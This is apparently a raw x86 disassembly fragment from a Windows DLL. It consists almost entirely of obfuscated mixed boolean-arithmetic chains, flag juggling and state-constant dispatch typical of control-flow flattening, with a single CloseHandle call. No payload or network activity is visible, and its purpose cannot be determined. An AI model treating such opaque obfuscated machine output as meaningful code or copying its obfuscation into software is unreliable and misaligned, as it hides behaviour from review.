and esi, edx
or esi, ecx
not esi
or esi, eax
xor esi, 0xffffffff
sete cl
setne dl
cmp dword [0x10049904], 0xa
setl ch
setge al
or dl, al
mov ah, ch
or ah, cl
mov dh, ah
xor dh, dl
or ah, dl
xor ah, 1
or ah, dh
mov dh, ah
xor dh, 1
mov dl, dh
xor dl, ch
or ch, ah
and dl, ah
xor dl, 1
mov ebx, edx
xor bl, ch
or dl, ch
xor dl, 1
or dl, bl
xor dh, dl
xor dh, 1
or dl, ah
xor dl, 1
or dl, dh
mov dh, dl
xor dh, 1
xor al, cl
mov ch, al
xor ch, 1
mov ah, al
and ah, ch
xor ah, 1
or ah, ch
xor ah, 1
or ah, al
mov ch, dl
and ch, dh
mov al, ch
xor al, 1
or al, dl
xor al, 1
or al, dh
mov bh, al
xor bh, 1
mov cl, ah
xor cl, 1
mov byte [ebp - 0x14], cl
mov dl, ah
xor dl, al
mov dh, ah
or dh, al
xor dh, 1
or dh, dl
mov bl, dh
mov dl, ah
and dl, al
and bh, cl
or bh, dl
mov dl, bh
xor dl, al
and dl, bh
mov bh, dl
xor bh, 1
xor dh, bh
and bh, dl
xor bh, 1
mov cl, dl
xor cl, bh
or bh, dl
xor bh, 1
or bh, cl
xor bl, 1
xor bh, bl
or dl, bl
xor dl, 1
or dl, dh
mov cl, bh
xor cl, dl
or dl, bh
xor dl, 1
or dl, cl
or al, ch
mov dh, al
xor dh, 1
mov bl, dh
and bl, al
xor bl, 1
or bl, al
xor bl, 1
or bl, dh
xor bl, 1
mov ch, bl
mov bh, byte [ebp - 0x14]
xor ch, bh
mov cl, ch
and cl, bh
and ch, bl
xor cl, 1
xor ch, 1
mov bl, cl
xor bl, ch
or ch, cl
xor ch, 1
or ch, bl
or dh, ah
xor dh, 1
xor al, bh
or al, dh
mov ah, ch
and ah, al
xor al, 1
mov cl, ch
xor cl, 1
and cl, al
or cl, ah
mov ah, ch
xor ah, al
or al, ch
xor al, 1
or al, ah
xor al, 1
or al, cl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov esi, 0x53888286
mov eax, 0x3d714b83
cmovne esi, eax
test cl, 1
mov eax, esi
mov ecx, 0x53888286
cmovne eax, ecx
test dl, 1
cmovne eax, esi
jmp 0x1000f5c0
cmp eax, 0x6493523e
je 0x100229ca
cmp eax, 0x6badce68
jne 0x1000f5c0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, 0xb6644bcd
jmp 0x1000f5c0
cmp eax, 0xb4040080
je 0x10023606
cmp eax, 0xb6644bcd
jne 0x1000f5c0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, edx
mov edi, edx
or ecx, 0x40d16120
mov edx, ecx
and edx, 0xa995cbb0
mov esi, eax
and esi, 0x162a144f
or esi, edx
mov edx, edi
xor edx, 0xbf2e9edf
and edx, edi
mov ebx, edi
mov dword [ebp - 0x14], edi
mov edi, edx
not edi
or ecx, edi
and edi, 0xa995cbb0
and edx, 0x566a344f
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov esi, ecx
xor esi, 0x40110000
xor ecx, 0xa3261c14
and ecx, 0xa3e67d34
and esi, 0x5c1982cb
or esi, ecx
mov edx, esi
xor edx, 0x5c1982cb
xor esi, 0x80a62930
and esi, 0xdcafab39
mov ecx, edx
and ecx, 0x235054c6
or ecx, esi
xor ecx, 0x7e227ef
and edx, 0xdb4d8cd6
or edx, ecx
mov edi, eax
or edi, 0x24202320
mov ecx, ebx
and ecx, 0xc04080c0
and edi, 0x3f2d2f36
or edi, ecx
mov ebx, edx
not ebx
mov ecx, edi
xor edi, 0xc0d2d0c9
mov esi, ebx
xor esi, edi
and esi, ebx
and edx, 0x7edb843d
and ebx, 0x81247bc2
or ebx, edx
xor ecx, 0x1040802
and edi, 0x7edb843d
and ecx, 0x810408c2
or ecx, edi
xor ecx, ebx
mov edx, esi
not edx
mov edi, edx
and edi, 0xef82b7da
and esi, 0x107d4825
or esi, edi
mov edi, ecx
not edi
or edx, edi
and edi, 0xef82b7da
and ecx, 0x107d4825
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov edi, edx
mov esi, edx
xor esi, 0x98ee21d
and esi, edx
mov ecx, edx
or ecx, 0xf6711de2
not edi
mov edx, ecx
and edx, 0x1767e4a0
and edi, 0x888021d
or edi, edx
mov edx, esi
not edx
or ecx, edx
and edx, 0x1767e4a0
and esi, 0xe8981b5f
or esi, edx
xor esi, edi
not ecx
or ecx, esi
mov edx, ecx
xor edx, 0xd2c36ecb
xor ecx, 0x25289120
and edx, 0x1816461f
and ecx, 0xe7e9b9e0
or ecx, edx
mov edx, ecx
xor edx, 0xa4402860
xor ecx, 0x1004021c
and ecx, 0x53ad939c
and edx, 0xac526c63
or edx, ecx
mov esi, edx
xor esi, 0x1248314
xor edx, 0xac526c63
mov ecx, edx
and ecx, 0x569b34c8
and esi, 0xa964cb37
or esi, ecx
xor esi, 0xa964cb37
or esi, edx
mov ecx, eax
and ecx, 0xb5b2e5f2
mov ebx, dword [ebp - 0x14]
mov edx, ebx
and edx, 0x4a4d1a0d
or edx, ecx
mov ecx, eax
and ecx, ebx
xor edx, 0x4a4d1a0d
or edx, ecx
mov ecx, esi
not ecx
not edx
and eax, 0x6489a108
and ebx, 0x9b765ef7
or ebx, eax
xor ebx, 0x9b765ef7
or ebx, edx
mov eax, esi
and eax, 0xef840341
mov edx, ecx
and edx, 0x107bfcbe
or edx, eax
mov eax, edx
xor eax, 0x107bfcbe
mov dword [ebp - 0x1c], eax
xor edx, 0xef840341
mov dword [ebp - 0x20], edx
or edx, 0x203286a2
and eax, 0x11010140
and edx, 0xa472a6be
or edx, eax
mov eax, esi
and eax, 0x9541215c
and ecx, 0x6abedea3
or ecx, eax
xor esi, ecx
and esi, ecx
mov ecx, ebx
not ecx
mov dword [ebp - 0x18], ecx
and ecx, 0x85989c8a
mov eax, ebx
mov dword [ebp - 0x14], ebx
and eax, 0x7a676375
or eax, ecx
mov edi, eax
xor edi, 0x7a676375
xor eax, 0x85808c00
and eax, 0xafe7ed44
mov ecx, edi
and ecx, 0x501812bb
or ecx, eax
xor ecx, 0xc55933e7
and edi, 0x6abedea3
or edi, ecx
mov dword [ebp - 0x24], edi
and ebx, 0x4a0a8aa1
mov ecx, dword [ebp - 0x18]
and ecx, 0x20b45402
or ecx, ebx
mov eax, ecx
xor eax, 0x20905400
or eax, 0x81002144
xor ecx, 0x42028a00
and ecx, 0x42268a02
and eax, 0xa99875e5
or eax, ecx
mov ecx, edx
xor ecx, 0x4400010
mov ebx, edx
xor ebx, 0x5b8d5941
xor edx, 0x1ddc8911
and edx, ebx
and ecx, 0x4410050
or ecx, edx
mov dword [ebp - 0x28], ecx
mov edi, esi
xor edi, 0xb9ae2faf
and edi, esi
mov edx, esi
not esi
or edx, 0x4651d050
mov ecx, edx
and ecx, 0x13253826
or ebx, esi
and esi, 0xa88a0789
or esi, ecx
mov ecx, edi
not ecx
or edx, ecx
and ecx, 0x13253826
and edi, 0xecdac7d9
or edi, ecx
xor edi, esi
not edx
or edx, edi
xor edx, dword [ebp - 0x28]
not ebx
or ebx, edx
mov edx, eax
xor edx, 0xa99875e5
mov esi, dword [ebp - 0x24]
and edx, esi
not esi
xor eax, 0x56678a1a
mov ecx, esi
xor ecx, eax
and ecx, esi
and eax, esi
or eax, edx
mov edi, ecx
not edi
mov edx, edi
and edx, 0xd2e6040a
and ecx, 0x2d19fbf5
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0xd2e6040a
and eax, 0x2d19fbf5
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xc933ae67
and ebx, 0x36cc5198
or ebx, ecx
mov ecx, edi
not ecx
xor ebx, 0xc933ae67
or ebx, ecx
and ecx, 0x9257fcab
and edi, 0x6da80354
or edi, ecx
xor edi, 0x9257fcab
or edi, eax
mov eax, edi
xor eax, ebx
or edi, ebx
not edi
or edi, eax
mov eax, dword [ebp - 0x20]
mov ecx, eax
and eax, 0x57949345
mov edx, eax
mov eax, dword [ebp - 0x1c]
and eax, 0xa86b6cba
or eax, edx
mov edx, dword [ebp - 0x18]
or ecx, edx
and edx, 0x57949345
mov esi, dword [ebp - 0x14]
and esi, 0xa86b6cba
or esi, edx
xor esi, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0x2e3a82e8
and esi, 0xd1c57d17
or esi, edx
xor esi, ecx
xor esi, 0xd1c57d17
or eax, ecx
not eax
or eax, esi
mov esi, eax
xor esi, 0x624ff495
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x684fd0e9
and edi, 0x97b02f16
or edi, edx
or esi, 0x85900200
mov ebx, eax
and esi, 0xc5d94281
or ecx, eax
mov edx, eax
and eax, 0x28069068
or eax, esi
or ebx, 0x40494081
not edx
and ebx, 0xc5d94281
and edx, 0x12202d16
or edx, ebx
xor edx, eax
xor edx, edi
mov esi, ecx
not esi
mov eax, edx
not eax
mov edi, eax
and edi, 0x3bdc65e2
and edx, 0xc4239a1d
or edx, edi
or eax, ecx
and ecx, 0x3bdc65e2
and esi, 0xc4239a1d
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov edx, eax
not edx
mov ecx, edx
mov dword [ebp - 0x24], edx
and ecx, 0xe42303
mov esi, edx
and esi, 0xa84c1860
mov ebx, eax
and ebx, 0x50b26508
or ebx, esi
xor ebx, 0x50b26508
mov edi, eax
and edi, 0x7018297
or edi, ebx
mov esi, edi
xor esi, 0xfe109599
and esi, eax
mov dword [ebp - 0x20], esi
and eax, 0xb3090820
or eax, ecx
xor eax, 0xb3090820
mov ecx, edx
and ecx, 0x4c12d4dc
or ecx, eax
mov dword [ebp - 0x18], ecx
mov eax, ecx
not eax
mov dword [ebp - 0x1c], eax
and eax, 0xdf720f34
mov ebx, ecx
xor ebx, 0xdf720f34
and ebx, ecx
or ebx, eax
mov ecx, ebx
xor ecx, 0xdf720f34
mov esi, ebx
xor ebx, 0x62678e74
mov edx, ebx
and edx, ecx
mov eax, edx
not eax
mov dword [ebp - 0x14], eax
and dword [ebp - 0x14], 0x6a563dda
and edx, 0x95a9c225
add edx, dword [ebp - 0x14]
xor esi, 0x208df0cb
mov dword [ebp - 0x14], esi
and ebx, esi
mov esi, ebx
not esi
or eax, esi
and esi, 0x6a563dda
and ebx, 0x95a9c225
or ebx, esi
xor ebx, edx
not eax
or eax, ebx
mov esi, dword [ebp - 0x14]
and esi, 0x46b86cd7
mov edx, ecx
and edx, 0xb9479328
or edx, esi
xor edx, 0x40568426
and ecx, 0x6eee8f1
or ecx, edx
mov edx, eax
xor edx, 0xbbfb69b1
xor eax, 0x4404964e
mov esi, eax
and esi, 0x6afa0e58
and edx, 0x9505f1a7
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0x6afa0e58
and esi, 0x9505f1a7
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, eax
not ecx
and eax, 0xead99b8d
and ecx, 0x15266472
or ecx, eax
xor edi, 0x1ef6a66
mov eax, dword [ebp - 0x24]
and eax, edi
mov edx, dword [ebp - 0x20]
or edx, eax
xor edi, edx
and edi, edx
mov esi, ecx
xor esi, 0x15266472
xor ecx, 0xead99b8d
mov edx, esi
and edx, 0xb174020d
mov eax, ecx
and eax, 0x4e8bfdf2
or eax, edx
xor eax, 0x4e8bfdf2
mov ebx, edi
not ebx
or eax, ebx
mov edx, ebx
and ebx, 0xf181b2d2
and edi, 0xe7e4d2d
or edi, ebx
xor edi, esi
or edx, ecx
xor edi, 0xe7e4d2d
and edi, ecx
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x920aa4cd
and edi, 0x6df55b32
or edi, ecx
xor edi, edx
or esi, edx
xor edi, 0x6df55b32
not esi
or esi, edi
mov ecx, esi
not ecx
xor esi, ecx
and esi, eax
or eax, ecx
not eax
xor esi, ecx
or esi, eax
mov edi, esi
not edi
mov eax, esi
or eax, 0x62220000
and eax, 0x72e60288
mov ecx, edi
and ecx, 0x81013837
or ecx, eax
mov eax, esi
xor eax, 0x91c53abf
and eax, esi
mov ebx, eax
not ebx
mov edx, esi
or edx, ebx
and ebx, 0x72e60288
and eax, 0x8d19fd77
or eax, ebx
xor eax, ecx
not edx
or edx, eax
not eax
and eax, 0x6e3ac540
and edx, 0x91c53abf
or edx, eax
and edi, 0x80ec0217
and esi, 0x8116000
or esi, edi
mov edi, esi
xor edi, 0x8004000
or edi, 0x70009468
xor esi, 0xec0202
and esi, 0xfd2202
and edi, 0xf800d47d
or edi, esi
mov eax, edx
not eax
or eax, 0x88fd6217
mov esi, eax
not esi
and eax, 0xb2224d98
xor edx, 0x10021d68
and edx, esi
and esi, 0x45009060
or esi, eax
mov ebx, esi
xor ebx, 0x4dddb267
mov eax, ebx
and eax, 0x10321d6c
or edx, eax
mov ecx, edi
xor ecx, 0xf800d47d
mov eax, edi
xor eax, 0x7ff2b82
mov dword [ebp - 0x14], eax
and dword [ebp - 0x14], 0x1839156c
xor edi, 0x80394011
and edi, ecx
or edi, dword [ebp - 0x14]
xor edi, edx
xor esi, 0xb2224d98
mov edx, esi
and edx, 0x32000028
and ebx, 0xcda2ffc1
or ebx, edx
or esi, ecx
and ecx, 0x5d0016
and eax, 0xcda2ffc1
or eax, ecx
xor eax, ebx
xor edi, 0x80b0800
not esi
or esi, eax
not esi
or esi, edi
mov ecx, esi
mov eax, esi
xor eax, 0x8e138ae7
and eax, esi
mov edx, esi
or edx, 0x71ec7518
not ecx
mov esi, edx
and esi, 0x41bcafed
and ecx, 0x8e030002
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0x41bcafed
and eax, 0xbe435012
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
and eax, 0xfffffffe
mov ebx, dword [ebp - 0x18]
mov esi, ebx
and esi, 1
or esi, eax
not esi
mov eax, ecx
or esi, ecx
mov ecx, ebx
or eax, 1
and eax, 0x2c5ad5f5
and ebx, 0xd3a52a0a
or ebx, eax
mov eax, esi
not eax
or ecx, 0x2c5ad5f4
and ecx, 0x2c5ad5f5
xor ebx, ecx
mov edi, ebx
not edi
mov ecx, eax
xor ecx, edi
and ecx, eax
and esi, 0x8b69114c
and eax, 0x7496eeb3
or eax, esi
and edi, 0x8b69114c
and ebx, 0x7496eeb3
or ebx, edi
xor ebx, eax
or ebx, ecx
mov eax, ebx
not eax
mov ecx, ebx
or ecx, 0x411264
and ecx, 0x3155d36c
mov esi, eax
and esi, 0x84220011
or esi, ecx
mov edi, eax
and edi, 0xdb680471
mov ecx, ebx
and ebx, 0x2497fb8e
or ebx, edi
xor ebx, 0x40bc3c1c
or ebx, eax
or eax, 0x3114c108
and eax, 0x3155d36c
and ecx, 0x4a882c82
or ecx, eax
xor ecx, esi
mov eax, ecx
xor eax, 0x482
xor ecx, 0x4224100
and ecx, 0x442b4300
and eax, 0x20008492
or eax, ecx
mov edi, eax
xor edi, 0x20008082
or edi, 0x99042020
xor eax, 0x442a0000
and eax, 0x442a0410
and edi, 0xb905e3a2
or edi, eax
mov esi, edi
xor esi, 0xb905e3a2
xor edi, 0x6280049
mov ecx, esi
xor ecx, ebx
and ecx, esi
and edi, 0x862ca069
and esi, 0x60034792
or esi, edi
xor esi, ebx
mov eax, ecx
not eax
mov edi, eax
and edi, 0x1fc023c0
and ecx, 0x602bc412
or ecx, edi
mov edi, esi
xor edi, 0x79d35f96
xor esi, 0x862ca069
or eax, esi
and esi, 0x1fc023c0
and edi, 0xe03fdc3f
or edi, esi
xor edi, ecx
not eax
or eax, edi
mov ecx, eax
xor ecx, 0x9bd4386d
xor eax, 0x24238490
and ecx, 0x59d84b2f
and eax, 0xa627b4d0
or eax, ecx
mov esi, eax
xor esi, 0x59d84b2f
xor eax, 0xa627b4d0
mov ecx, eax
and ecx, 0x1e989543
and eax, esi
and esi, 0xe1676abc
or esi, ecx
xor esi, 0xe1676abc
or esi, eax
mov eax, edx
not eax
mov ecx, edx
xor ecx, eax
and ecx, esi
xor ecx, eax
not ecx
or ecx, eax
and eax, 0x133b9d49
and edx, 0xecc462b6
or edx, eax
xor edx, esi
mov esi, edx
xor esi, 0x133b9d49
xor edx, 0xecc462b6
xor esi, edx
and esi, ecx
or ecx, edx
xor esi, edx
mov eax, esi
not eax
mov edx, eax
and edx, 0xe558d469
and esi, 0x1aa72b96
or esi, edx
xor esi, ecx
xor esi, 0x1aa72b96
or eax, ecx
not eax
or eax, esi
mov esi, eax
not esi
mov ecx, eax
and ecx, 0x9aa63517
and eax, 0xb6b48830
mov edx, esi
and edx, 0x494b77cf
or edx, eax
xor edx, 0x494b77cf
or edx, esi
mov edi, edx
mov dword [ebp - 0x14], edx
and esi, 0x6559cae8
or esi, ecx
mov eax, esi
xor eax, 0x9aa63517
mov ecx, esi
xor ecx, 0x24084200
and ecx, 0xa40c4207
xor esi, 0x3eaa7710
and esi, eax
or esi, ecx
mov eax, esi
xor eax, 0x84080201
xor esi, 0x5902a810
and esi, 0x7906e816
and eax, 0x86f917e9
or eax, esi
mov ecx, eax
xor ecx, 0x78062812
xor eax, 0x80b01680
and ecx, 0x7e4f297b
and eax, 0x81b0d684
or eax, ecx
mov ecx, eax
xor ecx, 0x1209684
xor eax, 0x40032043
and eax, 0xc0936043
and ecx, 0x3f6c9fbc
or ecx, eax
mov eax, ecx
xor eax, 0x80136003
xor ecx, 0x17689cbc
and eax, 0xa8176303
and ecx, 0x57e89cfc
or ecx, eax
mov eax, ecx
xor eax, 0x46300
xor ecx, 0x4c81cc0
and ecx, 0xacdb1cc3
and eax, 0x5324e33c
or eax, ecx
mov edx, eax
xor edx, 0x5324e33c
xor eax, 0xacdb1cc3
mov ecx, eax
and ecx, 0x22204583
mov esi, edx
and esi, 0x41900228
or esi, ecx
xor esi, 0x41900228
mov ebx, eax
and ebx, 0x9c4fb854
or ebx, esi
mov dword [ebp - 0x2c], ebx
mov ecx, edi
not ecx
mov esi, edi
and esi, 0x1023a4a0
mov edi, ecx
and edi, 0x10c024a
or edi, esi
xor edi, 0x10c024a
mov esi, dword [ebp - 0x14]
and esi, 0xeed05915
or esi, edi
mov dword [ebp - 0x20], esi
mov esi, ebx
not esi
mov dword [ebp - 0x1c], esi
and esi, 0xdc616345
mov edi, ebx
and edi, 0x239e9cba
or edi, esi
mov esi, edi
xor esi, dword [ebp - 0x1c]
and esi, edi
and eax, 0xbd6928e4
and edx, 0x4296d71b
or edx, eax
mov eax, edx
xor eax, 0x4296d71b
xor edx, 0x15412840
and edx, 0x57d5ae51
mov edi, eax
and edi, 0xa82a51ae
or edi, edx
xor edi, 0x744b32eb
and eax, 0x239e9cba
or eax, edi
mov ebx, dword [ebp - 0x20]
mov edx, ebx
not edx
mov dword [ebp - 0x24], edx
and edx, 0xdc616345
mov edi, ebx
and edi, 0x239e9cba
or edi, edx
mov edx, edi
xor edx, dword [ebp - 0x24]
and edx, edi
mov dword [ebp - 0x28], edx
mov edi, dword [ebp - 0x14]
mov edx, edi
and edx, 0x239e9cba
and ecx, 0xdc616345
or ecx, edx
xor edi, ecx
and edi, ecx
mov dword [ebp - 0x14], edi
mov edi, esi
xor edi, 0xb3c39326
mov edx, edi
and edi, esi
mov ecx, esi
not ecx
and edx, ecx
or edi, edx
mov ebx, eax
xor ebx, 0x4c3c6cd9
and ebx, eax
mov esi, ebx
not esi
mov edx, esi
and edx, 0xb14c1db5
and ebx, 0x4eb3e24a
or ebx, edx
or ecx, eax
mov edx, eax
or eax, 0xb3c39326
not edx
or esi, eax
and eax, 0xb14c1db5
and edx, 0x4c306048
or edx, eax
xor edx, ebx
not esi
or esi, edx
xor esi, edi
mov edx, esi
not edx
mov eax, edx
and eax, 0x5b2f725a
and esi, 0xa4d08da5
or esi, eax
mov eax, ecx
not eax
or edx, ecx
and ecx, 0x5b2f725a
and eax, 0xa4d08da5
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov dword [ebp - 0x30], edx
mov ebx, dword [ebp - 0x28]
mov esi, ebx
not esi
mov eax, esi
and eax, 0x226a064c
and ebx, 0xdd95f9b3
or ebx, eax
mov edx, dword [ebp - 0x14]
mov eax, edx
not eax
mov dword [ebp - 0x18], eax
and eax, 0x584ea772
and edx, 0xa7b1588d
or edx, eax
mov ecx, ebx
xor ecx, 0xdd95f9b3
mov dword [ebp - 0x34], ecx
mov eax, ebx
xor eax, 0x8328c621
and eax, ecx
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0xdc8b92e6
and eax, 0x23746d19
or eax, edi
or esi, 0xa142c06d
or ecx, esi
and esi, 0xdc8b92e6
mov edi, dword [ebp - 0x28]
and edi, 0x2342d10
or edi, esi
xor edi, eax
not ecx
or ecx, edi
mov esi, edx
xor esi, 0xa7b1588d
xor edx, 0x584ea772
mov eax, edx
or eax, 0x54a02a02
and eax, 0x74a0aa6f
mov edi, esi
and edi, 0x81424000
or edi, eax
mov eax, dword [ebp - 0x18]
or eax, 0x2000806d
and eax, 0x74a0aa6f
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
and eax, 0xa1d1590
add eax, dword [ebp - 0x18]
xor eax, edi
xor eax, ecx
mov ecx, eax
xor ebx, 0x226a064c
mov eax, ebx
and eax, 0xd2a74253
mov edi, dword [ebp - 0x34]
and edi, 0x2d58bdac
or edi, eax
or ebx, edx
and edx, 0xd2a74253
and esi, 0x2d58bdac
or esi, edx
xor esi, edi
not ebx
or ebx, esi
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
mov eax, ecx
and ecx, 0xbe6c9331
and ebx, 0x41936cce
or ebx, ecx
mov ecx, dword [ebp - 0x30]
or eax, ecx
not ecx
xor ebx, 0xbe6c9331
or ebx, ecx
not eax
not ebx
or ebx, eax
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
and ecx, 0x74fdb8f5
mov edx, ecx
mov ecx, dword [ebp - 0x2c]
and ecx, 0x8b02470a
or ecx, edx
mov edx, dword [ebp - 0x24]
or eax, edx
and edx, 0x74fdb8f5
mov esi, dword [ebp - 0x20]
and esi, 0x8b02470a
or esi, edx
xor esi, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x74ee73cd
and esi, 0x8b118c32
or esi, edx
xor esi, eax
xor esi, 0x8b118c32
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0xadf1890c
and eax, ecx
and ecx, 0x520e76f3
or ecx, edx
xor ecx, 0x520e76f3
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x101b3168
mov edi, ecx
and edi, 0xefe4ce97
or edi, edx
mov dword [ebp - 0x14], ebx
mov esi, ebx
not esi
mov dword [ebp - 0x1c], esi
mov edx, ebx
xor edx, 0x1e387d2a
and edx, esi
and ebx, 0xe1c782d5
or ebx, edx
mov dword [ebp - 0x20], ebx
mov esi, edi
xor esi, 0xefe4ce97
mov edx, edi
xor edx, 0xe234c42
and edx, esi
mov ebx, edx
not ebx
mov dword [ebp - 0x18], ebx
and dword [ebp - 0x18], 0xa1d9d49
and edx, 0xf5e262b6
add edx, dword [ebp - 0x18]
or eax, 0x1e387d2a
or ebx, eax
and eax, 0xa1d9d49
and ecx, 0xe1c20294
or ecx, eax
xor ecx, edx
not ebx
or ebx, ecx
xor ebx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x14]
mov eax, edx
and eax, 0x6c0922df
mov ecx, dword [ebp - 0x1c]
and ecx, 0x93f6dd20
or ecx, eax
xor edi, 0x101b3168
or edx, edi
and edi, 0x6c0922df
and esi, 0x93f6dd20
or esi, edi
xor esi, ecx
not edx
or edx, esi
not edx
or edx, ebx
mov eax, edx
not eax
mov ecx, eax
mov esi, eax
and ecx, 0xc17c410
mov eax, edx
mov edi, edx
mov dword [ebp - 0x14], edx
and eax, 0xf3e83bef
or eax, ecx
mov ecx, eax
xor ecx, 0x10003060
xor eax, 0xc17c410
mov edx, eax
and edx, 0xbf34081
and ecx, 0x10043470
or ecx, edx
mov edx, esi
mov ebx, esi
mov dword [ebp - 0x18], esi
and edx, edi
mov esi, edx
not esi
or eax, esi
and esi, 0xbf34081
and edx, 0x10043470
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
or edx, 0xc4088b04
and eax, 0xa157410
and edx, 0xd5ea8be5
or edx, eax
mov eax, ebx
or eax, 0x1bf774f1
mov ebx, eax
not ebx
and eax, 0x4b246d0c
mov edi, dword [ebp - 0x14]
xor edi, 0x64008108
and edi, ebx
and ebx, 0xa4088202
or ebx, eax
mov eax, ebx
xor eax, 0xb4db92f3
xor ebx, 0x2fe4bc95
and ebx, eax
mov eax, edx
xor eax, 0xd5ea8be5
mov ecx, edx
xor ecx, 0x20001000
xor edx, 0x11225070
and edx, eax
or eax, 0x9b3f2e66
mov esi, eax
and esi, 0x98fe42f4
and ecx, 0x20009001
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0xdcfe43fc
and edx, 0x3013401
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0x9f3f8366
and ebx, 0x60c00898
or ebx, ecx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0x9f3fd367
and edi, 0x60000808
or edi, ecx
xor edi, ebx
not esi
or esi, edi
xor esi, eax
mov edx, esi
xor edx, 0x1bf774f1
xor esi, 0xe4088b0e
mov eax, esi
and eax, 0xf24d9fc1
mov ecx, edx
and ecx, 0xdb2603e
or ecx, eax
mov eax, ecx
xor eax, 0x224020
xor ecx, 0x89500
or ecx, 0x8402003
and ecx, 0xc48b513
and eax, 0x402340a0
or eax, ecx
or esi, 0x4089510
and esi, 0xc48b513
and edx, 0xb3940a4c
or edx, esi
xor edx, eax
mov eax, dword [ebp - 0x14]
and eax, 0xf89e7927
mov ecx, dword [ebp - 0x18]
mov esi, ecx
and esi, 0x76186d8
or esi, eax
mov eax, esi
xor eax, 0x76186d8
mov edi, eax
mov dword [ebp - 0x14], eax
mov eax, esi
xor eax, 0x8e54d7d9
and eax, edi
and ecx, 0x89355101
or ecx, eax
mov dword [ebp - 0x18], ecx
mov edi, edx
xor edi, 0xbbd42a4f
mov ebx, edi
or ebx, 0x89355101
mov ecx, edx
xor ecx, 0x442bd5b0
mov dword [ebp - 0x1c], ecx
mov eax, ebx
and eax, 0xddab216e
and ecx, 0x22408e90
or ecx, eax
xor edx, 0xcd1e84b1
and edx, edi
mov eax, edx
not eax
or ebx, eax
and eax, 0xddab216e
and edx, 0x2254de91
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
xor ebx, dword [ebp - 0x18]
mov eax, edi
and eax, 0xa52175ec
mov ecx, dword [ebp - 0x1c]
and ecx, 0x5ade8a13
or ecx, eax
xor esi, 0xf89e7927
or edi, esi
and esi, 0xa52175ec
mov eax, dword [ebp - 0x14]
and eax, 0x5ade8a13
or eax, esi
xor eax, ecx
not edi
or edi, eax
not edi
or edi, ebx
mov eax, edi
not eax
and eax, 0x17b8aabf
and edi, 0xe8475540
or edi, eax
xor edi, 0xe8475540
sete ah
setne dl
cmp dword [0x10049904], 0xa
setl dh
setge bl
mov byte [ebp - 0x28], bl
mov al, dl
xor al, ah
mov ecx, eax
and cl, dl
and al, ah
mov ch, ah
mov byte [ebp - 0x14], ah
xor cl, 1
xor al, 1
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov cl, dl
and cl, ah
and al, ch
or al, cl
xor ah, al
and ah, al
mov al, ah
xor al, 1
mov ecx, eax
mov byte [ebp - 0x1c], al
mov al, ah
xor al, bl
mov byte [ebp - 0x18], al
mov al, cl
and al, ah
xor al, 1
or al, ah
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov bh, cl
xor bh, 1
and bh, cl
xor bh, 1
mov al, cl
xor al, bh
or bh, cl
xor bh, 1
or bh, al
mov ch, bh
xor ch, 1
mov al, byte [ebp - 0x28]
and ch, al
mov cl, al
xor cl, bh
mov byte [ebp - 0x20], cl
mov byte [ebp - 0x24], bh
or bh, al
mov cl, dh
xor cl, dl
mov bl, dl
xor dl, al
mov byte [ebp - 0x2c], dl
mov dl, al
mov al, byte [ebp - 0x1c]
and dl, al
and ah, dh
or ah, dl
mov dl, al
or dl, dh
xor dl, 1
or dl, byte [ebp - 0x18]
xor dl, 1
or dl, ah
movzx eax, byte [ebp - 0x24]
and al, dh
or ch, al
xor bh, 1
or bh, byte [ebp - 0x20]
xor ch, 1
mov ah, ch
xor ah, bh
or ch, bh
mov bh, dl
xor bh, 1
xor ch, 1
or ch, ah
mov al, ch
xor al, 1
and bh, ch
or ch, dl
and al, dl
mov dl, ch
xor dl, 1
or al, bh
mov ah, al
xor ah, 1
and al, ch
and dl, ah
or dl, al
or ah, ch
xor ah, 1
or ah, dl
or bl, dh
not cl
and cl, dh
xor cl, 1
mov al, bl
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov al, dh
mov dl, byte [ebp - 0x14]
xor al, dl
or dh, dl
xor dh, 1
or dh, al
mov al, dh
xor al, 1
mov dl, dh
mov ch, byte [ebp - 0x2c]
and dl, ch
xor ch, 1
and al, ch
